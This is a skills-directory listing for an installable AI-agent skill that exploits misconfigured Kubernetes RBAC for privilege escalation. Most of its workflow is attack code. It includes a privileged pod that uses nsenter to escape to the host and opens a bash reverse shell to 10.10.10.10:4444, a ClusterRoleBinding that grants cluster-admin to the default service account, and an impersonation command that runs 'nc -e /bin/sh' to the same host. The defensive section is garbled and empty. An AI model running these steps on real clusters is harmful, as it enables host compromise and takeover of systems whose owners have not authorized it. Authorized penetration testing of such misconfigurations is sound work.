Exploit misconfigured Kubernetes Role-Based Access Control (RBAC) to escalate privileges within a cluster. This skill covers identifying overly permissive roles and bindings, and leveraging them to gain cluster-admin access or compromise the host nodes.
Scanned 9/12/2026
Install to Claude Code
npx -y skills add ShulkwiSEC/bb-huge --skill kubernetes-rbac-exploitation --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Kubernetes Rbac Exploitation?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/shulkwisec-kubernetes-rbac-exploitation)More formats (shields.io, HTML) on the badges page.
---
name: kubernetes-rbac-exploitation
description: >
Exploit misconfigured Kubernetes Role-Based Access Control (RBAC) to escalate privileges
within a cluster. This skill covers identifying overly permissive roles and bindings, and
leveraging them to gain cluster-admin access or compromise the host nodes.
domain: cybersecurity
subdomain: penetration-testing
category: Cloud Security
difficulty: advanced
estimated_time: "4-6 hours"
mitre_attack:
tactics: [TA0001, TA0004, TA0008]
techniques: [T1613, T1078.004, T1548]
platforms: [kubernetes, cloud]
tags: [kubernetes, k8s, rbac, privilege-escalation, pentesting, cloud-security, containers]
tools: [kubectl, curl, custom-scripts]
version: "1.0"
author: CyberSkills-Elite
license: Apache-2.0
---
# Kubernetes RBAC Exploitation
## When to Use
- After gaining initial access to a Kubernetes pod (e.g., via a web vulnerability) and obtaining the pod's service account token.
- When performing a white-box security review of a Kubernetes cluster's RBAC definitions to identify potentially dangerous privilege escalation vectors.
## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
## Workflow
### Phase 1: Environment Enumeration
```bash
# export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
# kubectl auth can-i --list
```
### Phase 2: Exploiting `create pods` (with Volume Mounts)
```bash
# cat <<EOF > malicious-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: root-shell
spec:
containers:
- name: shell
image: ubuntu
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash", "-c", "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" ]
securityContext:
privileged: true
hostPID: true
hostNetwork: true
EOF
kubectl apply -f malicious-pod.yaml
```
### Phase 3: Exploiting `bind` and `escalate` (ClusterRoles)
```bash
# # cat <<EOF > malicious-rolebinding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: malicious-binding
subjects:
- kind: ServiceAccount
name: default
namespace: default
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
EOF
kubectl create -f malicious-rolebinding.yaml
```
### Phase 4: Exploiting `impersonate`
```bash
# kubectl auth can-i create pod --as system:admin
kubectl run rootshell --image=alpine --as system:admin -- sh -c "nc -e /bin/sh 10.10.10.10 4444"
```
#### Decision Point 🔀
```mermaid
flowchart TD
A[Check Permissions ] --> B{Can Create Pods ]}
B -->|Yes| C[Deploy Privileged Pod ]
B -->|No| D[Check Role Bindings ]
D -->|Can Bind/Escalate | E[Grant cluster-admin ]
D -->|Can Impersonate | F[Impersonate system:admin ]
```
## 🔵 Blue Team Detection & Defense
- **Audit Logging**: **Principle of Least Privilege**: **Pod Security Admission (PSA)**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Kubernetes Rbac Exploitation — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
```
## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
## References
- CyberArk: [Securing Kubernetes Clusters](https://www.cyberark.com/resources/threat-research-blog)
- Kubernetes Auth Docs: [RBAC Authorization](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!